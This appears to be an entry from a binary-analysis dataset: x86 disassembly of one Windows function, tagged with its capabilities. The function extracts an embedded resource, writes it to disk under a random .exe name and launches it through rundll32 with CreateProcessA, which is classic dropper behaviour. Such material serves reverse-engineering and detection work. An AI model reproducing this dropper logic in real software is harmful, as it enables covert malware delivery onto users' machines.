Function at 0x401100
Capabilities:
Create process on windows
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x405040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
je 0x4013c3
push edi
push str.Handle_to_current_module_obtained._n
call fcn.00401060
add esp, 4
push 0x100
push 0x65
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x4013a1
push ebx
push str.Resource_located._n
call fcn.00401060
add esp, 4
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40139a
push str.Resource_loaded._n
call fcn.00401060
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x401393
push str.Resource_locked._n
call fcn.00401060
add esp, 4
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x401370
push edi
push str.Embedded_file_size:__d_bytes._n
call fcn.00401060
xor esi, esi
push esi
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 0x10
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea ecx, [eax - 0x61]
cmp cl, 0x19
ja 0x4011dc
mov byte [esi + 0x405448], al
inc esi
cmp esi, 0xa
jl 0x4011c7
mov ecx, 0x405448
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4011e7
mov eax, dword [str..exe]
mov dword [ecx], eax
mov al, byte [0x403360]
push 0x405448
push str.File_name_set_for_dropping:__s_n
mov byte [ecx + 4], al
call fcn.00401060
push str.inside_drop_1
call fcn.00401060
push 0x4033a4
push 0x405448
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push str.inside_drop_2
mov dword [ebp - 0x124], eax
call fcn.00401060
add esp, 0x18
xor esi, esi
test edi, edi
jle 0x40125f
movzx eax, byte [ebx + esi]
push eax
push 0x4033b8
push dword [ebp - 0x124]
call fcn.00401030
inc esi
add esp, 0xc
cmp esi, edi
jl 0x401242
push str.inside_drop_3
call fcn.00401060
push dword [ebp - 0x124]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push str.inside_drop_4
call fcn.00401060
push str.File_dropped_to_disk._n
call fcn.00401060
mov al, byte [0x403384]
xorps xmm0, xmm0
movlpd qword [ebp - 0x10c], xmm0
movlpd qword [ebp - 0x104], xmm0
movlpd qword [ebp - 0xfc], xmm0
movlpd qword [ebp - 0xf4], xmm0
movlpd qword [ebp - 0xec], xmm0
movlpd qword [ebp - 0xe4], xmm0
movlpd qword [ebp - 0xdc], xmm0
movlpd qword [ebp - 0xd4], xmm0
movups xmmword [ebp - 0x120], xmm0
push 0x43
movups xmm0, xmmword [str.C:Windows_system32_rundll32.exe]
mov byte [ebp - 0x48], al
lea eax, [ebp - 0x47]
push 0
movups xmmword [ebp - 0x68], xmm0
push eax
movups xmm0, xmmword [0x403374]
mov dword [ebp - 0x110], 0x44
movups xmmword [ebp - 0x58], xmm0
call sub.VCRUNTIME140.dll_memset
push 0x405448
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0xcc]
push str._s__s_1
push eax
call fcn.00401090
add esp, 0x2c
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push str.Process_launched._n
call fcn.00401060
add esp, 4
xor eax, eax
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401492
mov esp, ebp
pop ebp
ret
push str.Failed_to_get_embedded_file_size._n
call fcn.00401060
add esp, 4
mov eax, 1
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401492
mov esp, ebp
pop ebp
ret
push str.Failed_to_lock_resource._n
jmp 0x401375
push str.Failed_to_load_resource._n
jmp 0x401375
push str.Failed_to_locate_resource._n
call fcn.00401060
add esp, 4
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401492
mov esp, ebp
pop ebp
ret
push str.Failed_to_obtain_handle_to_current_module._n
call fcn.00401060
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00401492
mov esp, ebp
pop ebp
ret